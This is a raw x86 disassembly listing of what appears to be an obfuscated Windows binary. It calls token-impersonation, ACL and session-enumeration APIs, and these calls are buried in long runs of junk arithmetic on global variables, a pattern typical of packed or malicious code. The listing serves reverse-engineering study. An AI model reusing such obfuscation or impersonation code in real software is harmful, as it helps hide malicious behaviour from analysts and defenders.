call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movsx ecx, byte [0x4373e6]
mov esi, dword [0x4373c4]
mov edi, eax
cmp ecx, 0x21d
jl 0x405cb5
mov eax, dword [0x4373d4]
lea ecx, [edi + 1]
imul ecx, dword [0x4373cc]
mov dword [esp + 0x14], ecx
neg ecx
lea eax, [eax*2 + 0x90]
sub ecx, eax
add esi, ecx
mov ecx, dword [esp + 0x14]
mov dword [0x4373c8], 0
mov dword [0x4373c4], esi
jmp 0x405cbb
mov ecx, dword [0x4373c0]
mov ebp, dword [0x4373d0]
mov eax, 0x343
sub eax, ebp
add ecx, eax
mov dword [0x4373c0], ecx
cmp ebp, 0x2f
jle 0x405dea
push 0x4373c4
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov ebx, dword [0x4373d0]
xor edx, edx
mov eax, edi
div ebx
mov ecx, ebx
imul ecx, ecx, 0x74
mov ebp, dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
push 0x4373e0
sub al, byte [0x4373c0]
mov byte [0x43780c], al
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cdq
idiv ebx
neg bl
sub bl, al
add byte [0x43781d], bl
call ebp
mov ebx, dword [esp + 0x28]
mov ecx, eax
mov eax, 0x6db6db6d
imul dword [0x4373d4]
sub edx, dword [0x4373d4]
mov esi, edi
imul esi, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov esi, dword [0x4373c0]
mov edx, ecx
add eax, edx
imul eax, eax, 0x34
mov dword [esp + 0x3c], ecx
movsx ecx, byte [0x43785c]
imul ecx, ebx
add esi, eax
movsx eax, byte [0x4378a3]
mov dword [0x4373c0], esi
cmp eax, ecx
jle 0x405dcb
mov eax, dword [0x4373c8]
sub edi, edx
lea edx, [eax + 0x2ab]
mov al, byte [0x4373f4]
imul bl
sub edi, ebx
mov cl, 0xa8
sub cl, al
movsx eax, byte [0x4378fd]
add edx, edi
sub cl, dl
add byte [0x437810], cl
mov ecx, dword [esp + 0x3c]
sub ecx, eax
sub ecx, ebx
mov dword [0x4373c8], edx
lea eax, [ecx + 0x5c]
add eax, esi
mov dword [0x4373c0], eax
jmp 0x405e48
mov al, byte [0x4373cc]
mov cl, 0x39
imul cl
neg dl
sub dl, al
add byte [0x4374c8], dl
mov dword [0x4373c4], 0xfffffa9e
jmp 0x405e48
mov eax, 0x63
cdq
idiv ebp
movsx edx, byte [0x4374fb]
sub edx, eax
add edx, ebx
imul ebx, ebx
imul ebx, esi
add edx, esi
mov dword [esp + 0x14], edx
mov dword [0x4373c8], edx
cmp esi, ebx
jg 0x405e34
mov eax, ecx
cdq
idiv ebp
add eax, 0x5b
add eax, esi
mov dword [0x4373c4], eax
mov eax, dword [esp + 0x14]
movzx eax, al
sub eax, ebp
add eax, edi
mov dword [0x4373c0], eax
jmp 0x405e42
sub cl, byte [0x4373cc]
dec cl
add byte [0x4374eb], cl
mov ebp, dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
push 0
push 0
push 0x18b
push dword [esp + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [esp + 0x94]
push eax
lea eax, [esp + 0x104]
push eax
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsA
test eax, eax
je 0x405e9d
lea eax, [esp + 0x7e4]
push eax
push 0x4377e0
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
test eax, eax
je 0x405e9d
push eax
call dword [sym.imp.USER32.dll_GetWindowDC]
mov dword [0x4373cc], eax
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x36
call eax
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDefaultLangID]
xor edx, edx
push edx
push edx
movzx eax, ax
push edx
push edx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x6c], edx
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [esp + 0x38], eax
push 0x3c
lea eax, [esp + 0x114]
push 0
push eax
call fcn.004159a0
add esp, 0xc
cmp dword [0x4373c8], 0x4373e0
push 0x4377e0
jbe 0x405f8b
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
cmp dword [0x4373d4], 0
jge 0x405f05
jmp 0x405f03
movsx eax, byte [0x4373fb]
movzx ecx, byte [0x4373d0]
cdq
idiv ecx
push 0x4373e0
sub al, 0x4b
mov byte [0x43752d], al
call ebp
mov ebx, dword [0x4373d4]
cmp ebx, eax
jl 0x405f59
movsx eax, byte [0x43788b]
movzx edx, bx
sub edx, eax
movsx eax, byte [0x437419]
imul eax, eax, 0x56
add edx, 0x62
mov ecx, edx
sub ecx, eax
add ecx, 0x2f9d
mov dword [0x4373c8], ecx
jmp 0x405f65
mov edx, dword [0x4373c4]
mov ecx, dword [0x4373c8]
mov edi, dword [0x4373cc]
mov dword [esp + 0x2c], ecx
imul ecx, ecx, 0x2d
mov esi, dword [esp + 0x2c]
sub ebx, ecx
add edx, ebx
mov ebx, dword [0x4373c0]
mov dword [0x4373c4], edx
jmp 0x406095
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov edi, dword [0x4373cc]
mov ecx, dword [0x4373c8]
mov ebx, dword [0x4373c0]
lea eax, [edi - 1]
imul eax, ecx
mov dword [esp + 0x2c], ecx
cmp ebx, eax
jge 0x405fcb
movsx eax, byte [0x437503]
sub eax, dword [0x4373d4]
mov edx, dword [0x4373c4]
sub eax, ebx
lea ebx, [edx + eax]
jmp 0x406017
mov eax, 6
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373c4]
imul byte [0x43743d]
sub al, 0x16
add al, dl
add byte [0x437467], al
mov al, byte [0x437490]
imul byte [0x437879]
imul cl
sub al, byte [0x4373d0]
add al, dl
mov byte [0x43785f], al
mov al, cl
shl al, 2
add cl, al
shl cl, 3
mov byte [0x437528], cl
movsx eax, byte [0x437859]
mov ecx, dword [0x4373d0]
movzx ecx, cl
mov dword [esp + 0x20], edx
cdq
idiv ecx
mov esi, dword [esp + 0x2c]
movsx ebp, byte [0x43740d]
movsx edx, byte [0x437442]
movzx ecx, si
add ebp, ecx
mov ecx, 1
sub ecx, esi
imul ecx, edi
mov dword [esp + 0x14], eax
mov eax, dword [0x4373d4]
imul eax, edx
mov edx, dword [esp + 0x20]
add eax, ecx
mov cl, byte [0x43781a]
mov dword [esp + 0x1c], eax
mov eax, dword [0x4373d0]
sub bl, byte [esp + 0x14]
add edx, dword [esp + 0x1c]
add bl, 0xb
add cl, bl
mov ebx, ebp
mov dword [0x4373c4], edx
test eax, eax
js 0x406070
mov dword [0x4373c0], ebx
mov byte [0x43781a], cl
mov ecx, dword [0x4373d4]
mov ebp, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov dword [esp + 0x20], edx
cmp ecx, edx
jne 0x40612d
push 0x4373e0
call ebp
mov al, byte [0x4373cc]
mov ecx, dword [0x4373d4]
mov esi, dword [0x4373c8]
mov edx, dword [0x4373c4]
mov ebx, dword [0x4373c0]
sub al, cl
mov byte [esp + 0x13], al
movzx eax, cl
mov edi, esi
mov dword [esp + 0x34], 0
sub edi, eax
mov dword [esp + 0x20], edx
lea ebx, [ebx]
mov al, byte [esp + 0x13]
add al, 0x6c
add al, bl
add al, byte [esp + 0x34]
mov ebx, edi
mov byte [0x437433], al
mov al, 0x16
sub al, dl
add byte [0x437913], al
mov eax, dword [esp + 0x34]
inc eax
mov dword [esp + 0x34], eax
cmp eax, 0x31
jl 0x4060f0
mov edi, dword [0x4373cc]
sub ebx, 0x3c3
mov dword [0x4373c0], ebx
cmp ecx, 0x37
jle 0x4061c3
push 0x4377e0
call ebp
mov ebp, dword [0x4373d0]
mov bl, byte [0x43788a]
mov edi, dword [0x4373c8]
mov edx, eax
movzx eax, byte [0x4373d4]
mov dword [esp + 0x1c], edx
xor ecx, ecx
mov dword [esp + 0x14], eax
mov esi, edx
mov eax, ecx
cdq
idiv ebp
add edi, esi
add esi, dword [esp + 0x14]
inc ecx
add bl, al
cmp ecx, 0x39
jl 0x406164
mov edx, dword [0x4373c4]
mov byte [0x43788a], bl
mov dword [0x4373c8], edi
cmp dword [esp + 0x1c], ebp
jb 0x4061b8
mov eax, ebp
imul eax, eax, 0x356
mov ebx, edx
sub ebx, eax
movzx eax, bp
sub ebx, eax
mov eax, dword [0x4373cc]
sub ebx, eax
sub ebx, 0x249
mov dword [0x4373c0], ebx
jmp 0x406264
mov ebx, dword [0x4373c0]
jmp 0x40625f
movsx eax, byte [0x437935]
mov edx, dword [0x4373d0]
neg eax
cmp edi, eax
jle 0x4061e3
movzx ebx, cl
neg ebx
mov dword [0x4373c0], ebx
jmp 0x406200
mov edi, dword [0x4373cc]
mov al, cl
add al, dl
add al, bl
mov byte [0x437471], al
mov al, byte [0x4373cc]
add al, dl
mov byte [0x43782a], al
cmp ebx, ecx
jle 0x406236
mov eax, dword [0x4373cc]
cdq
idiv dword [0x4373d0]
add byte [0x437913], 0xe7
sub cl, al
mov eax, esi
sub cl, 0x54
add byte [0x43785d], cl
cdq
idiv dword [0x4373d0]
mov edx, dword [esp + 0x20]
mov byte [0x43791b], al
jmp 0x40625f
movzx ecx, dx
mov eax, 0x1f
cdq
idiv ecx
mov edx, dword [esp + 0x20]
mov ecx, edi
neg ecx
add ecx, ecx
sub ecx, eax
mov eax, dword [0x4373d4]
movzx eax, al
add edx, eax
add edx, ecx
mov dword [0x4373c4], edx
mov eax, dword [0x4373cc]
cmp ebx, edx
jle 0x4062f2
mov ebx, dword [sym.imp.ADVAPI32.dll_GetAclInformation]
push eax
push 0x130
push 0x4373e0
push 0x4373e0
call ebx
movsx edx, byte [0x437845]
mov ecx, dword [0x4373c0]
imul edx, dword [0x4373c4]
imul ecx, dword [0x4373c8]
sub edx, ecx
movsx ecx, byte [0x437905]
push 0x4377e0
push 0x140
push 0x4373e0
sub edx, 0x13d
add ecx, eax
push 0x4377e0
mov dword [0x4373c4], edx
mov dword [0x4373c0], ecx
call ebx
movsx eax, byte [0x437913]
mov ecx, dword [0x4373c4]
sub ecx, eax
mov eax, dword [0x4373d0]
add dword [0x4373c8], ecx
add dword [0x4373c0], eax
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov ebp, dword [0x4373d4]
mov edx, dword [0x4373c4]
mov edi, dword [0x4373d0]
mov ebx, eax
mov dword [esp + 0x28], ebx
cmp ebp, edx
jge 0x406342
lea ecx, [edi + edi*2]
shl ecx, 2
sub ecx, dword [0x4373c0]
add ecx, ebx
add edx, ecx
mov esi, edx
sub esi, dword [0x4373c0]
mov dword [0x4373c4], edx
sub esi, 0x78
mov dword [0x4373c8], esi
jmp 0x406348
mov esi, dword [0x4373c8]
movsx eax, byte [0x4374cd]
movsx ecx, byte [0x437915]
sub ecx, eax
movsx eax, byte [0x4373e1]
sub ecx, edx
cmp eax, ecx
jl 0x4063a7
movsx eax, byte [0x4378eb]
mov ecx, edi
sub ecx, eax
movsx eax, byte [0x43783a]
sub ecx, eax
mov eax, ebx
imul eax, eax, 0x314
sub ebp, eax
xor edx, edx
mov eax, ebx
div edi
add esi, ecx
movzx ecx, bp
mov dword [0x4373c8], esi
add ecx, eax
mov eax, dword [0x4373cc]
sub ecx, esi
add ecx, eax
mov dword [0x4373c0], ecx
jmp 0x4063c3
mov al, dl
shl al, 4
sub al, 0x76
add al, dl
add al, bl
add al, byte [0x4378a0]
add byte [0x43786c], al
mov eax, dword [0x4373cc]
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push 0x4373c8
push 0x50
push 0x4373e0
push edi
push eax
call esi
mov edx, dword [0x4373c4]
mov dword [esp + 0x2c], eax
mov eax, dword [0x4373d0]
cmp dword [0x4373c0], eax
jl 0x4063fb
movzx ecx, al
add ecx, dword [0x4373d4]
add edx, ecx
mov eax, dword [0x4373c8]
mov ebp, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
movzx eax, ax
mov ecx, 0x2e
sub ecx, eax
sub ecx, ebx
sub ecx, edx
cmp dword [0x4373cc], 0
mov dword [0x4373c4], ecx
jne 0x4064ac
push 0x4373e0
call ebp
movsx eax, byte [0x4373f9]
add eax, 0x211
cmp dword [0x4373d0], 0
mov dword [0x4373c0], eax
jge 0x40644a
jmp 0x406448
push 0x4373c4
push 0xf0
push 0x4377e0
push dword [0x4373c4]
push ebx
call esi
mov ecx, dword [0x4373d4]
test ecx, ecx
jns 0x4064eb
mov bl, byte [0x437919]
mov esi, dword [0x4373c4]
mov dl, byte [0x43744a]
mov eax, 0xffffffad
sub eax, esi
add ecx, eax
mov al, 0xd9
sub al, bl
sub al, cl
add dl, al
mov byte [0x437508], 0x70
test ecx, ecx
js 0x406482
mov dword [0x4373d4], ecx
mov byte [0x43744a], dl
jmp 0x4064eb
movsx eax, byte [0x437904]
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373c8]
sub dl, al
sub dl, byte [0x4373d4]
movzx eax, bx
sub dl, 6
add byte [0x4378d6], dl
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373d4]
add eax, ecx
lea eax, [eax + edx*2]
mov dword [0x4373c8], eax
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov ecx, dword [0x4373c0]
mov ebx, eax
mov eax, dword [esp + 0x2c]
add ecx, eax
mov dword [0x4373c4], ecx
cmp eax, 0x4373e0
ja 0x40665e
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov esi, dword [esp + 0x28]
mov edi, eax
imul esi, esi, 0x7d
mov dword [esp + 0x3c], edi
mov edi, dword [0x4373c0]
mov edx, dword [esp + 0x3c]
mov ecx, ebx
imul ecx, edi
sub esi, ecx
mov ecx, dword [0x4373c4]
movzx eax, cx
add eax, ecx
mov ecx, dword [0x4373c8]
add eax, esi
mov esi, dword [0x4373d4]
mov dword [0x4373c4], eax
mov eax, esi
sub eax, ecx
add eax, edi
cmp edx, eax
jae 0x406598
movsx eax, byte [0x437928]
imul ecx, ecx, 0x12c
sub ecx, eax
movsx eax, byte [0x437400]
sub ecx, eax
mov al, byte [0x437923]
imul bl
sub ecx, esi
sub al, dl
add al, cl
mov dword [0x4373c8], ecx
mov byte [0x43748b], al
jmp 0x4065b0
mov eax, edx
sub eax, edi
imul eax, dword [esp + 0x2c]
add edi, eax
mov byte [0x4374a0], 0xf4
mov dword [0x4373c0], edi
push 0x4377e0
call ebp
mov ebp, dword [0x4373cc]
mov edx, dword [0x4373c8]
mov ecx, dword [esp + 0x2c]
mov eax, ebp
imul eax, edx
cmp ecx, eax
ja 0x4065ea
mov al, bl
add al, 0x5f
mov byte [0x437527], al
mov al, byte [0x43744c]
add al, 1
imul bl
add byte [0x437926], al
jmp 0x406615
mov al, byte [0x4378be]
add al, bl
mov byte [0x43742f], al
movsx eax, byte [0x437427]
imul eax, eax, 0x2b9
sub ebx, eax
sub ebx, dword [0x4373c4]
add ebx, ecx
add ebx, edx
add dword [0x4373c0], ebx
mov ecx, dword [0x4373d0]
mov edi, dword [esp + 0x3c]
movzx esi, cl
mov cl, byte [0x43745c]
xor ebx, ebx
lea ebx, [ebx]
movzx eax, bl
cdq
idiv esi
inc ebx
sub eax, edi
add eax, 0x17
add eax, esi
mov dword [0x4373c8], eax
mov al, 0x85
sub al, byte [esp + 0x2c]
add cl, al
cmp ebx, 0x40
jl 0x406630
mov byte [0x43745c], cl
mov ecx, dword [0x4373d0]
jmp 0x4066c9
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov ecx, dword [0x4373d0]
mov ebp, dword [0x4373cc]
test ecx, ecx
jns 0x4066af
movsx eax, byte [0x4378a6]
mov edx, dword [0x4373c0]
mov edi, dword [0x4373c8]
mov esi, dword [esp + 0x28]
add eax, ebp
add eax, edx
mov dword [0x4373d4], eax
lea esp, [esp]
lea eax, [esi + edx]
add eax, edi
sub ecx, eax
js 0x4066a0
mov dword [0x4373d0], ecx
mov eax, 0xcccccccd
mul ebx
shr edx, 4
imul edx, edx, 0x8b
add edx, dword [esp + 0x2c]
mov dword [0x4373c4], edx
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x114], eax
push 0x4373e0
cmp ebp, ecx
jge 0x4067b3
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov esi, dword [0x4373d0]
mov edi, eax
test esi, esi
jns 0x406721
mov bl, byte [0x437823]
mov edi, dword [0x4373c8]
mov cl, byte [0x4377e6]
mov edx, dword [0x4373c4]
jmp 0x406710
mov al, bl
sub al, 0x3c
add al, al
add cl, al
movzx eax, si
add eax, edi
add edx, eax
jmp 0x406710
movsx ecx, byte [0x4378cf]
mov ebp, dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, dword [0x4373c4]
push 0x4373e0
add dword [0x4373c8], eax
call ebp
mov ebx, dword [0x4373d0]
mov ecx, ebx
imul ecx, ecx, 0x2d
mov esi, eax
cmp ebx, ecx
jge 0x40678d
mov eax, dword [0x4373d4]
movzx ecx, byte [0x4373c4]
cdq
imul ecx, ebx
idiv ebx
sub dword [0x4373c8], ecx
mov cl, 0x1e
sub cl, al
sub cl, byte [0x4373c0]
mov byte [0x43745b], cl
jmp 0x40679e
mov ecx, dword [0x4373d4]
mov al, 1
sub al, cl
imul cl
mov byte [0x437476], al
xor edx, edx
mov eax, esi
div ebx
inc eax
imul eax, edi
add dword [0x4373c0], eax
jmp 0x40687a
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
movsx ecx, byte [0x437418]
mov eax, 0x7a44c6b
imul ecx
mov eax, dword [0x4373d0]
sar edx, 1
mov esi, edx
add edx, 0x65
movsx ecx, byte [0x4373e7]
shr esi, 0x1f
add esi, edx
cdq
idiv dword [0x4373d0]
movsx edx, byte [0x4378b7]
sub edx, ecx
movsx ecx, byte [0x4378aa]
add edx, ecx
mov ecx, dword [0x4373d4]
imul edx, edx, 0xd
xor ebx, ebx
add dword [0x4373c4], edx
mov dword [0x4373c8], esi
mov dword [esp + 0x14], eax
imul cl
imul bl
add al, 0x20
inc ebx
mov byte [0x43746f], al
mov eax, dword [esp + 0x14]
cmp ebx, 0xd
jl 0x406813
movsx eax, byte [0x437490]
mov ebx, dword [0x4373d0]
mov ebp, dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
add eax, 0x22
add eax, esi
cmp ecx, eax
jl 0x40687a
mov edx, dword [0x4373cc]
movsx ecx, byte [0x437421]
mov al, dl
imul bl
mov byte [0x437535], al
movsx eax, byte [0x437892]
sub ecx, eax
movsx eax, byte [0x437523]
add ecx, eax
sub ecx, edx
add ecx, dword [0x4373d4]
add dword [0x4373c0], ecx
cmp ebx, 0x4377e0
jbe 0x406941
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov edx, dword [0x4373d4]
movsx ebp, byte [0x437812]
mov ebx, dword [0x4373c4]
mov ecx, eax
mov al, dl
imul cl
mov ecx, dword [0x4373c8]
mov esi, ebx
mov dword [esp + 0x14], ebp
mov byte [esp + 0x13], al
lea eax, [ebp*2]
neg esi
neg ebp
add esi, esi
lea edi, [ebx + ebx]
mov dword [esp + 0x1c], eax
add ebp, ebp
sub edi, eax
mov eax, 0x1300
sub eax, dword [esp + 0x14]
sub esi, ebp
add ebx, eax
add esi, 0xffffda00
mov eax, esi
sub eax, ecx
mov cl, byte [esp + 0x13]
add eax, 0x47
add eax, edx
mov dword [esp + 0x2c], eax
mov al, byte [0x437915]
imul bl
sub cl, al
sub cl, byte [0x4373d0]
mov eax, dword [esp + 0x1c]
add byte [0x437435], cl
mov ecx, dword [esp + 0x2c]
add edi, 0x2600
test edx, edx
js 0x4068d0
movsx eax, byte [0x4373f5]
add eax, ebx
add ecx, eax
mov eax, dword [0x4373d0]
mov dword [0x4373c4], ebx
mov dword [esp + 0x2c], ecx
mov dword [0x4373c8], ecx
mov esi, ecx
jmp 0x4069b3
push 0x4373e0
call ebp
mov edx, dword [0x4373d4]
mov ebx, dword [0x4373c4]
test edx, edx
jns 0x406992
mov ebp, dword [0x4373c8]
mov esi, dword [0x4373cc]
mov edi, edx
jmp 0x406970
movsx eax, byte [0x4373f0]
imul eax, esi
cdq
idiv edi
mov edx, ebp
imul edx, ebx
movzx ecx, ax
add edx, ecx
movzx ecx, bx
add edx, ecx
sub edx, eax
add esi, edx
jmp 0x406970
mov cl, byte [0x4373f7]
mov esi, dword [0x4373c8]
mov al, bl
add al, al
neg cl
sub cl, al
mov eax, dword [0x4373d0]
sub cl, al
add byte [0x437868], cl
mov ebp, dword [sym.imp.ADVAPI32.dll_GetAclInformation]
cmp eax, 0x3e
jle 0x406a0a
push 0x4377e0
push 0x1b0
push 0x4373e0
push 0x4373e0
call ebp
mov ebx, dword [0x4373c4]
mov ecx, eax
mov eax, dword [0x4373c8]
mov dword [esp + 0x2c], eax
imul cl
movsx ecx, byte [0x437465]
mov esi, dword [esp + 0x2c]
imul ecx, ecx, 0x39
sub al, 0x71
mov byte [0x4378ac], al
movzx eax, bx
sub eax, ecx
add ebx, eax
mov eax, dword [0x4373c0]
jmp 0x406a36
movzx ecx, ax
movzx eax, dl
cdq
idiv ecx
movsx ecx, byte [0x437906]
imul ecx, esi
add ecx, dword [0x4373d0]
sub ebx, eax
mov eax, dword [0x4373c0]
add eax, 0xfffffedb
add eax, ecx
mov dword [0x4373c0], eax
mov dword [0x4373c4], ebx
mov dword [esp + 0x50], 0x3e8
cmp esi, 0x4373e0
ja 0x406ae4
mov edi, dword [0x4373d4]
mov ebp, dword [sym.imp.ADVAPI32.dll_DuplicateToken]
push 0x4377e0
push eax
push edi
call ebp
mov edx, dword [0x4373d4]
mov ecx, dword [0x4373c0]
imul edx, edx, 0x4c
add ecx, 0x21
add edx, ecx
mov ecx, dword [0x4373c8]
mov dword [0x4373c0], edx
add edx, dword [0x4373cc]
add ecx, 0xffffffa8
add ecx, edx
push 0x4377e0
mov ebx, eax
mov dword [0x4373c8], ecx
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov cl, byte [0x4373c4]
sub cl, byte [0x4373d0]
sub cl, 0x5a
add cl, bl
add cl, al
add byte [0x437469], cl
xor edx, edx
mov edi, edi
mov al, dl
mov cl, 0x68
imul cl
mov cl, bl
sub cl, al
add cl, 0x71
inc edx
mov byte [0x4374ed], cl
cmp edx, 7
jl 0x406ac0
mov ecx, dword [0x4373c0]
jmp 0x406ba4
push ebx
push 0xf0
push 0x4373e0
push 0x4373e0
call ebp
mov al, byte [0x437514]
movsx ecx, byte [0x4378ba]
sub al, 0x4e
mov byte [esp + 0x13], al
mov esi, dword [0x4373d0]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [0x4373cc]
add dl, 9
xor ebx, ebx
add dl, byte [0x4373d0]
mov dword [esp + 0x14], eax
mov byte [esp + 0x1b], dl
jmp 0x406b40
mov al, byte [esp + 0x13]
mov ecx, dword [0x4373c0]
add al, bl
mov byte [0x4378ca], al
mov al, cl
sub al, byte [esp + 0x14]
mov byte [0x4374eb], dl
add byte [0x4377e9], al
mov eax, ebx
cdq
idiv esi
mov dl, byte [esp + 0x1b]
inc ebx
sub cl, al
sub cl, byte [0x4377ef]
add byte [0x4378fc], cl
cmp ebx, 0x29
jl 0x406b40
mov al, byte [0x4374d0]
imul byte [0x4373d0]
mov ecx, dword [0x4373c0]
mov ebp, dword [sym.imp.ADVAPI32.dll_DuplicateToken]
sub al, cl
add al, byte [0x4373d4]
mov byte [0x43787b], al
cmp dword [0x4373c4], ecx
je 0x406d17
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
movsx ecx, byte [0x4373e4]
imul ecx, dword [0x4373c8]
mov ebx, dword [0x4373d0]
mov edx, dword [0x4373c0]
mov dword [0x4373c4], ecx
movsx ecx, byte [0x43792b]
add edx, ebx
mov esi, eax
mov dword [esp + 0x3c], esi
cmp ecx, edx
jg 0x406c0e
imul ebx, dword [0x4373cc]
mov al, byte [0x43743a]
sub ebx, 0x72
sub al, 0x74
add al, bl
mov dword [0x4373c0], ebx
mov byte [0x437875], al
jmp 0x406c43
mov al, byte [0x437845]
add al, 0x1f
add al, byte [0x4373c0]
lea ecx, [esi + 1]
mov byte [0x4374a3], al
movzx eax, byte [0x4373d4]
imul ecx, eax
movsx eax, byte [0x4378cc]
add ecx, eax
mov dword [0x4373c4], ecx
mov byte [0x4373ff], 0x80
mov eax, dword [0x4373c8]
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
movzx eax, al
push eax
call edi
mov ebx, dword [0x4373c4]
mov ecx, ebx
imul ecx, ecx, 0x31
mov esi, eax
cmp esi, ecx
jne 0x406cb5
mov edx, dword [0x4373d0]
imul edx, dword [0x4373c8]
movsx ecx, byte [0x437442]
imul edx, edx, 0x45
movsx eax, byte [0x43746c]
imul ecx, esi
add eax, ebx
movzx ebx, word [0x4373d4]
sub edx, ecx
mov ecx, dword [0x4373c0]
add ebx, ebx
sub ebx, dword [0x4373cc]
add eax, edx
mov edx, dword [esp + 0x3c]
add ebx, 0x15
mov dword [0x4373c4], eax
mov dword [0x4373c8], ebx
jmp 0x406cd2
mov edx, dword [esp + 0x3c]
mov ecx, dword [0x4373c0]
mov al, dl
add al, 1
imul bl
mov ebx, dword [0x4373c8]
add al, cl
mov byte [0x437521], al
movsx eax, byte [0x4378a8]
add eax, esi
cmp esi, eax
jb 0x406d23
movsx eax, byte [0x43781f]
add dl, 0x24
add dl, byte [0x4378b9]
add eax, 0x10
add eax, dword [0x4373d0]
add dl, byte [0x4373c4]
add ebx, eax
add dl, cl
mov dword [0x4373c8], ebx
mov byte [0x4373f5], 0x5f
mov byte [0x43747b], dl
jmp 0x406d23
mov ebx, dword [0x4373c8]
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
cmp ecx, 0x4377e0
jae 0x406dbd
push 0x4373e0
push dword [0x4373d0]
push 0x4373e0
call ebp
mov al, byte [0x4373d0]
mov edx, dword [0x4373c8]
mov ecx, dword [0x4373d4]
add al, 0x70
add byte [0x4377ee], al
mov al, dl
sub al, byte [0x437472]
push 0x4373c8
sub al, cl
add al, byte [0x4373c0]
push ecx
push edx
mov byte [0x4374c9], al
call ebp
mov ecx, dword [0x4373d0]
mov ebx, dword [0x4373c8]
sub eax, ecx
add eax, dword [0x4373d4]
movzx ecx, cx
add ebx, eax
mov eax, 0x23
cdq
idiv ecx
mov ecx, dword [0x4373c4]
add ecx, 0xffffc452
mov dword [0x4373c8], ebx
lea ecx, [eax + ecx*2]
movzx eax, word [0x4373c0]
add ecx, eax
mov dword [0x4373c4], ecx
cmp dword [0x4373cc], 0x4373e0
jbe 0x406e9a
movzx eax, bl
push eax
call edi
movsx ecx, byte [0x437430]
movsx edi, byte [0x437825]
mov esi, dword [0x4373d0]
mov ebp, eax
mov eax, 0x8ab355e1
imul ecx
add edx, ecx
mov ecx, dword [0x4373d0]
imul ecx, ecx, 0x7b7
sar edx, 9
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x4373c4]
sub edi, ecx
add edi, 0x73
movzx ecx, bx
imul ecx, dword [0x4373cc]
movzx eax, bl
add ecx, eax
sub edx, ecx
mov dword [0x4373c8], edi
test esi, esi
js 0x406e13
mov ecx, dword [0x4373cc]
lea eax, [edx - 0x5f]
mov dword [0x4373c4], edx
cmp ecx, eax
jl 0x406e62
mov al, byte [0x43746f]
imul cl
mov cl, byte [0x4378cc]
sub cl, al
sub cl, byte [0x4373d4]
add cl, byte [0x4373d0]
mov byte [0x437476], cl
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
push 0x4377e0
call edi
mov al, byte [0x4378ff]
mov ecx, dword [0x4373d0]
add al, 0x7b
add al, byte [0x4373c0]
mov byte [0x43743e], al
movsx eax, byte [0x4378c8]
sub ecx, eax
sub ecx, ebp
mov dword [0x4373c0], ecx
jmp 0x406eff
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
movsx eax, byte [0x437445]
mov esi, dword [0x4373d0]
cdq
idiv esi
movzx ecx, byte [0x4373c8]
mov edx, eax
sub edx, ecx
add edx, dword [0x4373cc]
mov ecx, dword [0x4373d4]
mov dword [0x4373c0], edx
test ecx, ecx
jns 0x406eff
lea eax, [esi - 0x32b]
mov dword [0x4373c8], eax
movzx eax, cl
lea ecx, [eax + eax*4]
shl ecx, 2
mov eax, edx
sub eax, ecx
lea ecx, [eax*2 + 0x31]
test ecx, ecx
js 0x406ee1
mov dword [0x4373d4], ecx
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov edx, dword [0x4373d4]
imul edx, dword [0x4373c0]
movsx ecx, byte [0x4374ca]
add ecx, edx
sub ecx, dword [0x4373c8]
mov ebp, eax
add ecx, 0xfffff605
add ecx, ebp
mov dword [0x4373c4], ecx
movzx ecx, byte [0x4373cc]
push ecx
call edi
mov edi, dword [0x4373c0]
mov esi, dword [0x4373cc]
mov edx, dword [0x4373d0]
mov ecx, 0x26
sub ecx, dword [0x4373d4]
mov dword [esp + 0x14], eax
cmp edi, ecx
jne 0x406f9d
mov ebx, dword [0x4373c8]
movzx eax, bl
imul eax, ebp
mov ecx, esi
sub ecx, eax
mov eax, edi
imul eax, ebx
mov ebx, dword [0x4373c4]
